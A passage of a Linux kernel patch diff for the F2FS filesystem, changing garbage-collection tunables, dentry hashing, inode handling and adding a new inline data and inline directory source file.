NULL_SEGNO; + + if (!sync) { + if (has_not_enough_free_secs(sbi, sec_freed)) + goto gc_more; + + if (gc_type == FG_GC) + write_checkpoint(sbi, &cpc); + } stop: mutex_unlock(&sbi->gc_mutex); - put_gc_inode(&ilist); + put_gc_inode(&gc_list); + + if (sync) + ret = sec_freed ? 0 : -EAGAIN; return ret; } @@ -713,17 +885,3 @@ void build_gc_manager(struct f2fs_sb_info *sbi) { DIRTY_I(sbi)->v_ops = &default_v_ops; } - -int __init create_gc_caches(void) -{ - winode_slab = f2fs_kmem_cache_create("f2fs_gc_inodes", - sizeof(struct inode_entry), NULL); - if (!winode_slab) - return -ENOMEM; - return 0; -} - -void destroy_gc_caches(void) -{ - kmem_cache_destroy(winode_slab); -} diff --git a/fs/f2fs/gc.h b/fs/f2fs/gc.h index 2c6a6bd083224..b4a65be9f7d3f 100644 --- a/fs/f2fs/gc.h +++ b/fs/f2fs/gc.h @@ -13,23 +13,31 @@ * whether IO subsystem is idle * or not */ -#define GC_THREAD_MIN_SLEEP_TIME 30000 /* milliseconds */ -#define GC_THREAD_MAX_SLEEP_TIME 60000 -#define GC_THREAD_NOGC_SLEEP_TIME 300000 /* wait 5 min */ +#define DEF_GC_THREAD_MIN_SLEEP_TIME 30000 /* milliseconds */ +#define DEF_GC_THREAD_MAX_SLEEP_TIME 60000 +#define DEF_GC_THREAD_NOGC_SLEEP_TIME 300000 /* wait 5 min */ #define LIMIT_INVALID_BLOCK 40 /* percentage over total user space */ #define LIMIT_FREE_BLOCK 40 /* percentage over invalid + free space */ /* Search max. number of dirty segments to select a victim segment */ -#define MAX_VICTIM_SEARCH 20 +#define DEF_MAX_VICTIM_SEARCH 4096 /* covers 8GB */ struct f2fs_gc_kthread { struct task_struct *f2fs_gc_task; wait_queue_head_t gc_wait_queue_head; + + /* for gc sleep time */ + unsigned int min_sleep_time; + unsigned int max_sleep_time; + unsigned int no_gc_sleep_time; + + /* for changing gc mode */ + unsigned int gc_idle; }; -struct inode_entry { - struct list_head list; - struct inode *inode; +struct gc_inode_list { + struct list_head ilist; + struct radix_tree_root iroot; }; /* @@ -56,26 +64,26 @@ static inline block_t limit_free_user_blocks(struct f2fs_sb_info *sbi) return (long)(reclaimable_user_blocks * LIMIT_FREE_BLOCK) / 100; } -static inline long increase_sleep_time(long wait) +static inline void increase_sleep_time(struct f2fs_gc_kthread *gc_th, + long *wait) { - if (wait == GC_THREAD_NOGC_SLEEP_TIME) - return wait; + if (*wait == gc_th->no_gc_sleep_time) + return; - wait += GC_THREAD_MIN_SLEEP_TIME; - if (wait > GC_THREAD_MAX_SLEEP_TIME) - wait = GC_THREAD_MAX_SLEEP_TIME; - return wait; + *wait += gc_th->min_sleep_time; + if (*wait > gc_th->max_sleep_time) + *wait = gc_th->max_sleep_time; } -static inline long decrease_sleep_time(long wait) +static inline void decrease_sleep_time(struct f2fs_gc_kthread *gc_th, + long *wait) { - if (wait == GC_THREAD_NOGC_SLEEP_TIME) - wait = GC_THREAD_MAX_SLEEP_TIME; + if (*wait == gc_th->no_gc_sleep_time) + *wait = gc_th->max_sleep_time; - wait -= GC_THREAD_MIN_SLEEP_TIME; - if (wait <= GC_THREAD_MIN_SLEEP_TIME) - wait = GC_THREAD_MIN_SLEEP_TIME; - return wait; + *wait -= gc_th->min_sleep_time; + if (*wait <= gc_th->min_sleep_time) + *wait = gc_th->min_sleep_time; } static inline bool has_enough_invalid_blocks(struct f2fs_sb_info *sbi) @@ -83,7 +91,7 @@ static inline bool has_enough_invalid_blocks(struct f2fs_sb_info *sbi) block_t invalid_user_blocks = sbi->user_block_count - written_block_count(sbi); /* - * Background GC is triggered with the following condition. + * Background GC is triggered with the following conditions. * 1. There are a number of invalid blocks. * 2. There is not enough free space. */ diff --git a/fs/f2fs/hash.c b/fs/f2fs/hash.c index 6eb8d269b53b6..71b7206c431ea 100644 --- a/fs/f2fs/hash.c +++ b/fs/f2fs/hash.c @@ -42,7 +42,8 @@ static void TEA_transform(unsigned int buf[4], unsigned int const in[]) buf[1] += b1; } -static void str2hashbuf(const char *msg, size_t len, unsigned int *buf, int num) +static void str2hashbuf(const unsigned char *msg, size_t len, + unsigned int *buf, int num) { unsigned pad, val; int i; @@ -69,15 +70,16 @@ static void str2hashbuf(const char *msg, size_t len, unsigned int *buf, int num) *buf++ = pad; } -f2fs_hash_t f2fs_dentry_hash(const char *name, size_t len) +f2fs_hash_t f2fs_dentry_hash(const struct qstr *name_info) { __u32 hash; f2fs_hash_t f2fs_hash; - const char *p; + const unsigned char *p; __u32 in[8], buf[4]; + const unsigned char *name = name_info->name; + size_t len = name_info->len; - if ((len <= 2) && (name[0] == '.') && - (name[1] == '.' || name[1] == '\0')) + if (is_dot_dotdot(name_info)) return 0; /* Initialize the default seed for the hash checksum functions */ diff --git a/fs/f2fs/inline.c b/fs/f2fs/inline.c new file mode 100644 index 0000000000000..4d22fa72ecae5 --- /dev/null +++ b/fs/f2fs/inline.c @@ -0,0 +1,612 @@ +/* + * fs/f2fs/inline.c + * Copyright (c) 2013, Intel Corporation + * Authors: Huajun Li + * Haicheng Li + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include + +#include "f2fs.h" +#include "node.h" + +bool f2fs_may_inline_data(struct inode *inode) +{ + if (!test_opt(F2FS_I_SB(inode), INLINE_DATA)) + return false; + + if (f2fs_is_atomic_file(inode)) + return false; + + if (!S_ISREG(inode->i_mode) && !S_ISLNK(inode->i_mode)) + return false; + + if (i_size_read(inode) > MAX_INLINE_DATA) + return false; + + if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) + return false; + + return true; +} + +bool f2fs_may_inline_dentry(struct inode *inode) +{ + if (!test_opt(F2FS_I_SB(inode), INLINE_DENTRY)) + return false; + + if (!S_ISDIR(inode->i_mode)) + return false; + + return true; +} + +void read_inline_data(struct page *page, struct page *ipage) +{ + void *src_addr, *dst_addr; + + if (PageUptodate(page)) + return; + + f2fs_bug_on(F2FS_P_SB(page), page->index); + + zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); + + /* Copy the whole inline data block */ + src_addr = inline_data_addr(ipage); + dst_addr = kmap_atomic(page); + memcpy(dst_addr, src_addr, MAX_INLINE_DATA); + flush_dcache_page(page); + kunmap_atomic(dst_addr); + SetPageUptodate(page); +} + +bool truncate_inline_inode(struct page *ipage, u64 from) +{ + void *addr; + + if (from >= MAX_INLINE_DATA) + return false; + + addr = inline_data_addr(ipage); + + f2fs_wait_on_page_writeback(ipage, NODE); + memset(addr + from, 0, MAX_INLINE_DATA - from); + + return true; +} + +int f2fs_read_inline_data(struct inode *inode, struct page *page) +{ + struct page *ipage; + + ipage = get_node_page(F2FS_I_SB(inode), inode->i_ino); + if (IS_ERR(ipage)) { + unlock_page(page); + return PTR_ERR(ipage); + } + + if (!f2fs_has_inline_data(inode)) { + f2fs_put_page(ipage, 1); + return -EAGAIN; + } + + if (page->index) + zero_user_segment(page, 0, PAGE_CACHE_SIZE); + else + read_inline_data(page, ipage); + + SetPageUptodate(page); + f2fs_put_page(ipage, 1); + unlock_page(page); + return 0; +} + +int f2fs_convert_inline_page(struct dnode_of_data *dn, struct page *page) +{ + void *src_addr, *dst_addr; + struct f2fs_io_info fio = { + .sbi = F2FS_I_SB(dn->inode), + .type = DATA, + .rw = WRITE_SYNC | REQ_PRIO, + .page = page, + .encrypted_page = NULL, + }; + int dirty, err; + + f2fs_bug_on(F2FS_I_SB(dn->inode), page->index); + + if (!f2fs_exist_data(dn->inode)) + goto clear_out; + + err = f2fs_reserve_block(dn, 0); + if (err) + return err; + + f2fs_wait_on_page_writeback(page, DATA); + + if (PageUptodate(page)) + goto no_update; + + zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); + + /* Copy the whole inline data block */ + src_addr = inline_data_addr(dn->inode_page); + dst_addr = kmap_atomic(page); + memcpy(dst_addr, src_addr, MAX_INLINE_DATA); + flush_dcache_page(page); + kunmap_atomic(dst_addr); + SetPageUptodate(page); +no_update: + set_page_dirty(page); + + /* clear dirty state */ + dirty = clear_page_dirty_for_io(page); + + /* write data page to try to make data consistent */ + set_page_writeback(page); + fio.blk_addr = dn->data_blkaddr; + write_data_page(dn, &fio); + set_data_blkaddr(dn); + f2fs_update_extent_cache(dn); + f2fs_wait_on_page_writeback(page, DATA); + if (dirty) + inode_dec_dirty_pages(dn->inode); + + /* this converted inline_data should be recovered. */ + set_inode_flag(F2FS_I(dn->inode), FI_APPEND_WRITE); + + /* clear inline data and flag after data writeback */ + truncate_inline_inode(dn->inode_page, 0); +clear_out: + stat_dec_inline_inode(dn->inode); + f2fs_clear_inline_inode(dn->inode); + sync_inode_page(dn); + f2fs_put_dnode(dn); + return 0; +} + +int f2fs_convert_inline_inode(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct dnode_of_data dn; + struct page *ipage, *page; + int err = 0; + + page = grab_cache_page(inode->i_mapping, 0); + if (!page) + return -ENOMEM; + + f2fs_lock_op(sbi); + + ipage = get_node_page(sbi, inode->i_ino); + if (IS_ERR(ipage)) { + err = PTR_ERR(ipage); + goto out; + } + + set_new_dnode(&dn, inode, ipage, ipage, 0); + + if (f2fs_has_inline_data(inode)) + err = f2fs_convert_inline_page(&dn, page); + + f2fs_put_dnode(&dn); +out: + f2fs_unlock_op(sbi); + + f2fs_put_page(page, 1); + return err; +} + +int f2fs_write_inline_data(struct inode *inode, struct page *page) +{ + void *src_addr, *dst_addr; + struct dnode_of_data dn; + int err; + + set_new_dnode(&dn, inode, NULL, NULL, 0); + err = get_dnode_of_data(&dn, 0, LOOKUP_NODE); + if (err) + return err; + + if (!f2fs_has_inline_data(inode)) { + f2fs_put_dnode(&dn); + return -EAGAIN; + } + + f2fs_bug_on(F2FS_I_SB(inode), page->index); + + f2fs_wait_on_page_writeback(dn.inode_page, NODE); + src_addr = kmap_atomic(page); + dst_addr = inline_data_addr(dn.inode_page); + memcpy(dst_addr, src_addr, MAX_INLINE_DATA); + kunmap_atomic(src_addr); + + set_inode_flag(F2FS_I(inode), FI_APPEND_WRITE); + set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + + sync_inode_page(&dn); + f2fs_put_dnode(&dn); + return 0; +} + +bool recover_inline_data(struct inode *inode, struct page *npage) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct f2fs_inode *ri = NULL; + void *src_addr, *dst_addr; + struct page *ipage; + + /* + * The inline_data recovery policy is as follows. + * [prev.] [next] of inline_data flag + * o o -> recover inline_data + * o x -> remove inline_data, and then recover data blocks + * x o -> remove inline_data, and then recover inline_data + * x x -> recover data blocks + */ + if (IS_INODE(npage)) + ri = F2FS_INODE(npage); + + if (f2fs_has_inline_data(inode) && + ri && (ri->i_inline & F2FS_INLINE_DATA)) { +process_inline: + ipage = get_node_page(sbi, inode->i_ino); + f2fs_bug_on(sbi, IS_ERR(ipage)); + + f2fs_wait_on_page_writeback(ipage, NODE); + + src_addr = inline_data_addr(npage); + dst_addr = inline_data_addr(ipage); + memcpy(dst_addr, src_addr, MAX_INLINE_DATA); + + set_inode_flag(F2FS_I(inode), FI_INLINE_DATA); + set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + + update_inode(inode, ipage); + f2fs_put_page(ipage, 1); + return true; + } + + if (f2fs_has_inline_data(inode)) { + ipage = get_node_page(sbi, inode->i_ino); + f2fs_bug_on(sbi, IS_ERR(ipage)); + if (!truncate_inline_inode(ipage, 0)) + return false; + f2fs_clear_inline_inode(inode); + update_inode(inode, ipage); + f2fs_put_page(ipage, 1); + } else if (ri && (ri->i_inline & F2FS_INLINE_DATA)) { + if (truncate_blocks(inode, 0, false)) + return false; + goto process_inline; + } + return false; +} + +struct f2fs_dir_entry *find_in_inline_dir(struct inode *dir, + struct f2fs_filename *fname, struct page **res_page) +{ + struct f2fs_sb_info *sbi = F2FS_SB(dir->i_sb); + struct f2fs_inline_dentry *inline_dentry; + struct qstr name = FSTR_TO_QSTR(&fname->disk_name); + struct f2fs_dir_entry *de; + struct f2fs_dentry_ptr d; + struct page *ipage; + f2fs_hash_t namehash; + + ipage = get_node_page(sbi, dir->i_ino); + if (IS_ERR(ipage)) + return NULL; + + namehash = f2fs_dentry_hash(&name); + + inline_dentry = inline_data_addr(ipage); + + make_dentry_ptr(NULL, &d, (void *)inline_dentry, 2); + de = find_target_dentry(fname, namehash, NULL, &d); + unlock_page(ipage); + if (de) + *res_page = ipage; + else + f2fs_put_page(ipage, 0); + + /* + * For the most part, it should be a bug when name_len is zero. + * We stop here for figuring out where the bugs has occurred. + */ + f2fs_bug_on(sbi, d.max < 0); + return de; +} + +struct f2fs_dir_entry *f2fs_parent_inline_dir(struct inode *dir, + struct page **p) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + struct page *ipage; + struct f2fs_dir_entry *de; + struct f2fs_inline_dentry *dentry_blk; + + ipage = get_node_page(sbi, dir->i_ino); + if (IS_ERR(ipage)) + return NULL; + + dentry_blk = inline_data_addr(ipage); + de = &dentry_blk->dentry[1]; + *p = ipage; + unlock_page(ipage); + return de; +} + +int make_empty_inline_dir(struct inode *inode, struct inode *parent, + struct page *ipage) +{ + struct f2fs_inline_dentry *dentry_blk; + struct f2fs_dentry_ptr d; + + dentry_blk = inline_data_addr(ipage); + + make_dentry_ptr(NULL, &d, (void *)dentry_blk, 2); + do_make_empty_dir(inode, parent, &d); + + set_page_dirty(ipage); + + /* update i_size to MAX_INLINE_DATA */ + if (i_size_read(inode) < MAX_INLINE_DATA) { + i_size_write(inode, MAX_INLINE_DATA); + set_inode_flag(F2FS_I(inode), FI_UPDATE_DIR); + } + return 0; +} + +/* + * NOTE: ipage is grabbed by caller, but if any error occurs, we should + * release ipage in this function. + */ +static int f2fs_convert_inline_dir(struct inode *dir, struct page *ipage, + struct f2fs_inline_dentry *inline_dentry) +{ + struct page *page; + struct dnode_of_data dn; + struct f2fs_dentry_block *dentry_blk; + int err; + + page = grab_cache_page(dir->i_mapping, 0); + if (!page) { + f2fs_put_page(ipage, 1); + return -ENOMEM; + } + + set_new_dnode(&dn, dir, ipage, NULL, 0); + err = f2fs_reserve_block(&dn, 0); + if (err) + goto out; + + f2fs_wait_on_page_writeback(page, DATA); + zero_user_segment(page, MAX_INLINE_DATA, PAGE_CACHE_SIZE); + + dentry_blk = kmap_atomic(page); + + /* copy data from inline dentry block to new dentry block */ + memcpy(dentry_blk->dentry_bitmap, inline_dentry->dentry_bitmap, + INLINE_DENTRY_BITMAP_SIZE); + memset(dentry_blk->dentry_bitmap + INLINE_DENTRY_BITMAP_SIZE, 0, + SIZE_OF_DENTRY_BITMAP - INLINE_DENTRY_BITMAP_SIZE); + /* + * we do not need to zero out remainder part of dentry and filename + * field, since we have used bitmap for marking the usage status of + * them, besides, we can also ignore copying/zeroing reserved space + * of dentry block, because them haven't been used so far. + */ + memcpy(dentry_blk->dentry, inline_dentry->dentry, + sizeof(struct f2fs_dir_entry) * NR_INLINE_DENTRY); + memcpy(dentry_blk->filename, inline_dentry->filename, + NR_INLINE_DENTRY * F2FS_SLOT_LEN); + + kunmap_atomic(dentry_blk); + SetPageUptodate(page); + set_page_dirty(page); + + /* clear inline dir and flag after data writeback */ + truncate_inline_inode(ipage, 0); + + stat_dec_inline_dir(dir); + clear_inode_flag(F2FS_I(dir), FI_INLINE_DENTRY); + + if (i_size_read(dir) < PAGE_CACHE_SIZE) { + i_size_write(dir, PAGE_CACHE_SIZE); + set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); + } + + sync_inode_page(&dn); +out: + f2fs_put_page(page, 1); + return err; +} + +int f2fs_add_inline_entry(struct inode *dir, const struct qstr *name, + struct inode *inode, nid_t ino, umode_t mode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + struct page *ipage; + unsigned int bit_pos; + f2fs_hash_t name_hash; + size_t namelen = name->len; + struct f2fs_inline_dentry *dentry_blk = NULL; + struct f2fs_dentry_ptr d; + int slots = GET_DENTRY_SLOTS(namelen); + struct page *page = NULL; + int err = 0; + + ipage = get_node_page(sbi, dir->i_ino); + if (IS_ERR(ipage)) + return PTR_ERR(ipage); + + dentry_blk = inline_data_addr(ipage); + bit_pos = room_for_filename(&dentry_blk->dentry_bitmap, + slots, NR_INLINE_DENTRY); + if (bit_pos >= NR_INLINE_DENTRY) { + err = f2fs_convert_inline_dir(dir, ipage, dentry_blk); + if (err) + return err; + err = -EAGAIN; + goto out; + } + + if (inode) { + down_write(&F2FS_I(inode)->i_sem); + page = init_inode_metadata(inode, dir, name, ipage); + if (IS_ERR(page)) { + err = PTR_ERR(page); + goto fail; + } + } + + f2fs_wait_on_page_writeback(ipage, NODE); + + name_hash = f2fs_dentry_hash(name); + make_dentry_ptr(NULL, &d, (void *)dentry_blk, 2); + f2fs_update_dentry(ino, mode, &d, name, name_hash, bit_pos); + + set_page_dirty(ipage); + + /* we don't need to mark_inode_dirty now */ + if (inode) { + F2FS_I(inode)->i_pino = dir->i_ino; + update_inode(inode, page); + f2fs_put_page(page, 1); + } + + update_parent_metadata(dir, inode, 0); +fail: + if (inode) + up_write(&F2FS_I(inode)->i_sem); + + if (is_inode_flag_set(F2FS_I(dir), FI_UPDATE_DIR)) { + update_inode(dir, ipage); + clear_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); + } +out: + f2fs_put_page(ipage, 1); + return err; +} + +void f2fs_delete_inline_entry(struct f2fs_dir_entry *dentry, struct page *page, + struct inode *dir, struct inode *inode) +{ + struct f2fs_inline_dentry *inline_dentry; + int slots = GET_DENTRY_SLOTS(le16_to_cpu(dentry->name_len)); + unsigned int bit_pos; + int i; + + lock_page(page); + f2fs_wait_on_page_writeback(page, NODE); + + inline_dentry = inline_data_addr(page); + bit_pos = dentry - inline_dentry->dentry; + for (i = 0; i < slots; i++) + test_and_clear_bit_le(bit_pos + i, + &inline_dentry->dentry_bitmap); + + set_page_dirty(page); + + dir->i_ctime = dir->i_mtime = CURRENT_TIME; + + if (inode) + f2fs_drop_nlink(dir, inode, page); + + f2fs_put_page(page, 1); +} + +bool f2fs_empty_inline_dir(struct inode *dir) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(dir); + struct page *ipage; + unsigned int bit_pos = 2; + struct f2fs_inline_dentry *dentry_blk; + + ipage = get_node_page(sbi, dir->i_ino); + if (IS_ERR(ipage)) + return false; + + dentry_blk = inline_data_addr(ipage); + bit_pos = find_next_bit_le(&dentry_blk->dentry_bitmap, + NR_INLINE_DENTRY, + bit_pos); + + f2fs_put_page(ipage, 1); + + if (bit_pos < NR_INLINE_DENTRY) + return false; + + return true; +} + +int f2fs_read_inline_dir(struct file *file, void *dirent, filldir_t filldir, + struct f2fs_str *fstr) +{ + unsigned long pos = file->f_pos; + unsigned int bit_pos = 0; + struct inode *inode = file_inode(file); + struct f2fs_inline_dentry *inline_dentry = NULL; + struct page *ipage = NULL; + struct f2fs_dentry_ptr d; + + if (pos >= NR_INLINE_DENTRY) + return 0; + + bit_pos = (pos % NR_INLINE_DENTRY); + + ipage = get_node_page(F2FS_I_SB(inode), inode->i_ino); + if (IS_ERR(ipage)) + return PTR_ERR(ipage); + + inline_dentry = inline_data_addr(ipage); + + make_dentry_ptr(inode, &d, (void *)inline_dentry, 2); + + if (!f2fs_fill_dentries(file, dirent, filldir, &d, 0, bit_pos, fstr)) + file->f_pos = NR_INLINE_DENTRY; + + f2fs_put_page(ipage, 1); + return 0; +} + +int f2fs_inline_data_fiemap(struct inode *inode, + struct fiemap_extent_info *fieinfo, __u64 start, __u64 len) +{ + __u64 byteaddr, ilen; + __u32 flags = FIEMAP_EXTENT_DATA_INLINE | FIEMAP_EXTENT_NOT_ALIGNED | + FIEMAP_EXTENT_LAST; + struct node_info ni; + struct page *ipage; + int err = 0; + + ipage = get_node_page(F2FS_I_SB(inode), inode->i_ino); + if (IS_ERR(ipage)) + return PTR_ERR(ipage); + + if (!f2fs_has_inline_data(inode)) { + err = -EAGAIN; + goto out; + } + + ilen = min_t(size_t, MAX_INLINE_DATA, i_size_read(inode)); + if (start >= ilen) + goto out; + if (start + len < ilen) + ilen = start + len; + ilen -= start; + + get_node_info(F2FS_I_SB(inode), inode->i_ino, &ni); + byteaddr = (__u64)ni.blk_addr << inode->i_sb->s_blocksize_bits; + byteaddr += (char *)inline_data_addr(ipage) - (char *)F2FS_INODE(ipage); + err = fiemap_fill_next_extent(fieinfo, start, byteaddr, ilen, flags); +out: + f2fs_put_page(ipage, 1); + return err; +} diff --git a/fs/f2fs/inode.c b/fs/f2fs/inode.c index 91ac7f9d88eea..ec9a36a226e55 100644 --- a/fs/f2fs/inode.c +++ b/fs/f2fs/inode.c @@ -21,34 +21,91 @@ void f2fs_set_inode_flags(struct inode *inode) { unsigned int flags = F2FS_I(inode)->i_flags; - - inode->i_flags &= ~(S_SYNC | S_APPEND | S_IMMUTABLE | - S_NOATIME | S_DIRSYNC); + unsigned int new_fl = 0; if (flags & FS_SYNC_FL) - inode->i_flags |= S_SYNC; + new_fl |= S_SYNC; if (flags & FS_APPEND_FL) - inode->i_flags |= S_APPEND; + new_fl |= S_APPEND; if (flags & FS_IMMUTABLE_FL) - inode->i_flags |= S_IMMUTABLE; + new_fl |= S_IMMUTABLE; if (flags & FS_NOATIME_FL) - inode->i_flags |= S_NOATIME; + new_fl |= S_NOATIME; if (flags & FS_DIRSYNC_FL) - inode->i_flags |= S_DIRSYNC; + new_fl |= S_DIRSYNC; + set_mask_bits(&inode->i_flags, + S_SYNC|S_APPEND|S_IMMUTABLE|S_NOATIME|S_DIRSYNC, new_fl); +} + +static void __get_inode_rdev(struct inode *inode, struct f2fs_inode *ri) +{ + if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode) || + S_ISFIFO(inode->i_mode) || S_ISSOCK(inode->i_mode)) { + if (ri->i_addr[0]) + inode->i_rdev = + old_decode_dev(le32_to_cpu(ri->i_addr[0])); + else + inode->i_rdev = + new_decode_dev(le32_to_cpu(ri->i_addr[1])); + } +} + +static bool __written_first_block(struct f2fs_inode *ri) +{ + block_t addr = le32_to_cpu(ri->i_addr[0]); + + if (addr != NEW_ADDR && addr != NULL_ADDR) + return true; + return false; +} + +static void __set_inode_rdev(struct inode *inode, struct f2fs_inode *ri) +{ + if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) { + if (old_valid_dev(inode->i_rdev)) { + ri->i_addr[0] = + cpu_to_le32(old_encode_dev(inode->i_rdev)); + ri->i_addr[1] = 0; + } else { + ri->i_addr[0] = 0; + ri->i_addr[1] = + cpu_to_le32(new_encode_dev(inode->i_rdev)); + ri->i_addr[2] = 0; + } + } +} + +static void __recover_inline_status(struct inode *inode, struct page *ipage) +{ + void *inline_data = inline_data_addr(ipage); + __le32 *start = inline_data; + __le32 *end = start + MAX_INLINE_DATA / sizeof(__le32); + + while (start < end) { + if (*start++) { + f2fs_wait_on_page_writeback(ipage, NODE); + + set_inode_flag(F2FS_I(inode), FI_DATA_EXIST); + set_raw_inline(F2FS_I(inode), F2FS_INODE(ipage)); + set_page_dirty(ipage); + return; + } + } + return; } static int do_read_inode(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct f2fs_inode_info *fi = F2FS_I(inode); struct page *node_page; - struct f2fs_node *rn; struct f2fs_inode *ri; /* Check if ino is within scope */ if (check_nid_range(sbi, inode->i_ino)) { f2fs_msg(inode->i_sb, KERN_ERR, "bad inode number: %lu", (unsigned long) inode->i_ino); + WARN_ON(1); return -EINVAL; } @@ -56,8 +113,7 @@ static int do_read_inode(struct inode *inode) if (IS_ERR(node_page)) return PTR_ERR(node_page); - rn = page_address(node_page); - ri = &(rn->i); + ri = F2FS_INODE(node_page); inode->i_mode = le16_to_cpu(ri->i_mode); i_uid_write(inode, le32_to_cpu(ri->i_uid)); @@ -73,10 +129,6 @@ static int do_read_inode(struct inode *inode) inode->i_ctime.tv_nsec = le32_to_cpu(ri->i_ctime_nsec); inode->i_mtime.tv_nsec = le32_to_cpu(ri->i_mtime_nsec); inode->i_generation = le32_to_cpu(ri->i_generation); - if (ri->i_addr[0]) - inode->i_rdev = old_decode_dev(le32_to_cpu(ri->i_addr[0])); - else - inode->i_rdev = new_decode_dev(le32_to_cpu(ri->i_addr[1])); fi->i_current_depth = le32_to_cpu(ri->i_current_depth); fi->i_xattr_nid = le32_to_cpu(ri->i_xattr_nid); @@ -84,8 +136,28 @@ static int do_read_inode(struct inode *inode) fi->flags = 0; fi->i_advise = ri->i_advise; fi->i_pino = le32_to_cpu(ri->i_pino); - get_extent_info(&fi->ext, ri->i_ext); + fi->i_dir_level = ri->i_dir_level; + + f2fs_init_extent_tree(inode, &ri->i_ext); + + get_inline_info(fi, ri); + + /* check data exist */ + if (f2fs_has_inline_data(inode) && !f2fs_exist_data(inode)) + __recover_inline_status(inode, node_page); + + /* get rdev by using inline_info */ + __get_inode_rdev(inode, ri); + + if (__written_first_block(ri)) + set_inode_flag(F2FS_I(inode), FI_FIRST_BLOCK_WRITTEN); + f2fs_put_page(node_page, 1); + + stat_inc_inline_xattr(inode); + stat_inc_inline_inode(inode); + stat_inc_inline_dir(inode); + return 0; } @@ -109,12 +181,6 @@ struct inode *f2fs_iget(struct super_block *sb, unsigned long ino) ret = do_read_inode(inode); if (ret) goto bad_inode; - - if (!sbi->por_doing && inode->i_nlink == 0) { - ret = -ENOENT; - goto bad_inode; - } - make_now: if (ino == F2FS_NODE_INO(sbi)) { inode->i_mapping->a_ops = &f2fs_node_aops; @@ -130,10 +196,12 @@ struct inode *f2fs_iget(struct super_block *sb, unsigned long ino) inode->i_op = &f2fs_dir_inode_operations; inode->i_fop = &f2fs_dir_operations; inode->i_mapping->a_ops = &f2fs_dblock_aops; - mapping_set_gfp_mask(inode->i_mapping, GFP_HIGHUSER_MOVABLE | - __GFP_ZERO); + mapping_set_gfp_mask(inode->i_mapping, GFP_F2FS_HIGH_ZERO); } else if (S_ISLNK(inode->i_mode)) { - inode->i_op = &f2fs_symlink_inode_operations; + if (f2fs_encrypted_inode(inode)) + inode->i_op = &f2fs_encrypted_symlink_inode_operations; + else + inode->i_op = &f2fs_symlink_inode_operations; inode->i_mapping->a_ops = &f2fs_dblock_aops; } else if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode) || S_ISFIFO(inode->i_mode) || S_ISSOCK(inode->i_mode)) { @@ -155,13 +223,11 @@ struct inode *f2fs_iget(struct super_block *sb, unsigned long ino) void update_inode(struct inode *inode, struct page *node_page) { - struct f2fs_node *rn; struct f2fs_inode *ri; - wait_on_page_writeback(node_page); + f2fs_wait_on_page_writeback(node_page, NODE); - rn = page_address(node_page); - ri = &(rn->i); + ri = F2FS_INODE(node_page); ri->i_mode = cpu_to_le16(inode->i_mode); ri->i_advise = F2FS_I(inode)->i_advise; @@ -170,7 +236,13 @@ void update_inode(struct inode *inode, struct page *node_page) ri->i_links = cpu_to_le32(inode->i_nlink); ri->i_size = cpu_to_le64(i_size_read(inode)); ri->i_blocks = cpu_to_le64(inode->i_blocks); - set_raw_extent(&F2FS_I(inode)->ext, &ri->i_ext); + + if (F2FS_I(inode)->extent_tree) + set_raw_extent(&F2FS_I(inode)->extent_tree->largest, + &ri->i_ext); + else + memset(&ri->i_ext, 0, sizeof(ri->i_ext)); + set_raw_inline(F2FS_I(inode), ri); ri->i_atime = cpu_to_le64(inode->i_atime.tv_sec); ri->i_ctime = cpu_to_le64(inode->i_ctime.tv_sec); @@ -183,58 +255,54 @@ void update_inode(struct inode *inode, struct page *node_page) ri->i_flags = cpu_to_le32(F2FS_I(inode)->i_flags); ri->i_pino = cpu_to_le32(F2FS_I(inode)->i_pino); ri->i_generation = cpu_to_le32(inode->i_generation); + ri->i_dir_level = F2FS_I(inode)->i_dir_level; - if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) { - if (old_valid_dev(inode->i_rdev)) { - ri->i_addr[0] = - cpu_to_le32(old_encode_dev(inode->i_rdev)); - ri->i_addr[1] = 0; - } else { - ri->i_addr[0] = 0; - ri->i_addr[1] = - cpu_to_le32(new_encode_dev(inode->i_rdev)); - ri->i_addr[2] = 0; - } - } - + __set_inode_rdev(inode, ri); set_cold_node(inode, node_page); set_page_dirty(node_page); + + clear_inode_flag(F2FS_I(inode), FI_DIRTY_INODE); } -int update_inode_page(struct inode *inode) +void update_inode_page(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); struct page *node_page; - +retry: node_page = get_node_page(sbi, inode->i_ino); - if (IS_ERR(node_page)) - return PTR_ERR(node_page); - + if (IS_ERR(node_page)) { + int err = PTR_ERR(node_page); + if (err == -ENOMEM) { + cond_resched(); + goto retry; + } else if (err != -ENOENT) { + f2fs_stop_checkpoint(sbi); + } + return; + } update_inode(inode, node_page); f2fs_put_page(node_page, 1); - return 0; } int f2fs_write_inode(struct inode *inode, struct writeback_control *wbc) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - int ret, ilock; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); if (inode->i_ino == F2FS_NODE_INO(sbi) || inode->i_ino == F2FS_META_INO(sbi)) return 0; - if (wbc) - f2fs_balance_fs(sbi); + if (!is_inode_flag_set(F2FS_I(inode), FI_DIRTY_INODE)) + return 0; /* - * We need to lock here to prevent from producing dirty node pages + * We need to balance fs here to prevent from producing dirty node pages * during the urgent cleaning time when runing out of free sections. */ - ilock = mutex_lock_op(sbi); - ret = 